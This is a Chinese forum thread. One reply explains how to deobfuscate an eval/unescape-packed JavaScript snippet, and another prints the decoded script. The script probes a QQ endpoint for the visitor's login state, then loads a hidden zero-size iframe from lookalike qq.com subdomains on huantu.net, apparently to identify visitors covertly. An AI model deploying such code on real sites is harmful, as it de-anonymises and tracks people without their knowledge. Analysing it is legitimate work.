解决方案 »

  1.   

    这种加密即没技术含量又恶心。解密方法:
    1、把 \*xxxxx*\这种代码全部替换成空格
    /*qof17qN*/var/*G3FnvL7*/hBYrUDEFyZ/*Uxjm8HJfZ6k*/=/*j5AOnu*/\u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065;/*aPGrwVu*/var/*hTvvnIFwmN*/w8r0t/*Tu0JDu*/=/*VryDp2pf*/\u0065\u0076\u0061\u006c;/*shmss*/w8r0t/*Dw2PFx*/(hBYrUDEFyZ/*Dw2PFx*/(
    替换后变成:
    var hBYrUDEFyZ = \u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065; var w8r0t = \u0065\u0076\u0061\u006c; w8r0t (hBYrUDEFyZ(
    进一步解密得:
    var hBYrUDEFyZ = unescape; var w8r0t = eval; w8r0t (hBYrUDEFyZ(
    然后 hBYrUDEFyZ 替换成 unescape     w8r0t 替换成 eval2、最后得到 eval(unescape("eval/*........
    把它复制到任意eval解密的网页里,多次点击eval解密即可。如百度搜索"js解密"就会出现解密工具。
      

  2.   

    var fangke_xHead = document.getElementsByTagName('HEAD').item(0);
        var fangke_isIE = document.all ? true : false;
        var fangke_isIE6 = fangke_isIE && !window.XMLHttpRequest;
        function fangke_loadJS(jsurl, onsuccess, charset, onerr) {
            var fangke_xScript = document.createElement("script");
            fangke_xScript.type = "text/javascript";
            if (charset == '') {
                fangke_xScript.charset = "utf-8"
            } else {
                fangke_xScript.charset = charset
            }
            fangke_xScript.src = jsurl;
            fangke_xScript.onerror = function () {
                if (onerr) {
                    setTimeout(onerr, 0)
                }
            };
            if (fangke_isIE) {
                fangke_xScript.onreadystatechange = function () {
                    if (fangke_xScript.readyState) {
                        if (fangke_xScript.readyState == "loaded" || fangke_xScript.readyState == "complete") {
                            fangke_xScript.onreadystatechange = null;
                            fangke_xScript.onload = null;
                            if (onsuccess) {
                                setTimeout(onsuccess, 0)
                            }
                        }
                    } else {
                        fangke_xScript.onreadystatechange = null;
                        fangke_xScript.onload = null;
                        if (onsuccess) {
                            setTimeout(onsuccess, 0)
                        }
                    }
                }
            } else {
                fangke_xScript.onload = function () {
                    if (fangke_xScript.readyState) {
                        if (fangke_xScript.readyState == "loaded" || fangke_xScript.readyState == "complete") {
                            fangke_xScript.onreadystatechange = null;
                            fangke_xScript.onload = null;
                            if (onsuccess) {
                                setTimeout(onsuccess, 0)
                            }
                        }
                    } else {
                        fangke_xScript.onreadystatechange = null;
                        fangke_xScript.onload = null;
                        if (onsuccess) {
                            setTimeout(onsuccess, 0)
                        }
                    }
                }
            }
            document.getElementsByTagName('HEAD').item(0).appendChild(fangke_xScript)
        }
        function check_login() {
            var url = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=11231213&t=" + (new Date).getTime();
            fangke_loadJS(url, check_data3)
        }
        function check_data3() {
            try {
                if (data0.err == 1026) {
                    setTimeout(fangke_LoginOK, 0)
                } else {
                }
            } catch (e) {
                setTimeout(noLogin, 0)
            }
        }
        function fangke_LoginOK() {
            if (document.getElementById('QQfangke_iframe_t') == null) {
                var QQfangke_xurl = location.href;
                var QQfangke_xurl = QQfangke_xurl.replace("http://qq-812631263.huantu.net/T-census.php", "http://college.qq.com.huantu.net/H-census.php");
                var QQfangke_ref = encodeURIComponent(document.referrer);
                var QQfangke_page = encodeURIComponent(document.location.href);
                var QQfangke_url = QQfangke_xurl;
                var iframe = document.createElement("iframe");
                iframe.src = QQfangke_url;
                iframe.id = "QQfangke_iframe_t";
                iframe.name = "QQfangke_iframe_t";
                iframe.style.width = "0px";
                iframe.style.height = "0px";
                iframe.scrolling = "no";
                iframe.setAttribute('frameborder', '0', 0);
                document.body.appendChild(iframe)
            }
        }
        function noLogin() {
            fangke_LoginOK()
        }
        function setCookie(name, value) {
            var Days = 365;
            var exp = new Date();
            exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
            document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
        }
        if (navigator.userAgent.indexOf("Firefox") <= 0) {
            check_login()
        } else {
            check_login()
        }